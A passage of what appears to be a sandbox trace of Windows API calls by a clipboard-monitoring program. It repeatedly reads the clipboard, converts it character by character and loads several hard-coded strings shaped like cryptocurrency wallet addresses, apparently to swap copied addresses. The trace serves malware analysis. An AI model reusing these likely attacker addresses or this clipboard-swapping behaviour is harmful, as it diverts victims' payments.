lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.162] Sleep (dwMilliseconds=0x64) [0048.269] GetOpenClipboardWindow () returned 0x0 [0048.269] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.269] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.269] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.269] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.269] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.269] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.269] CloseClipboard () returned 1 [0048.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: 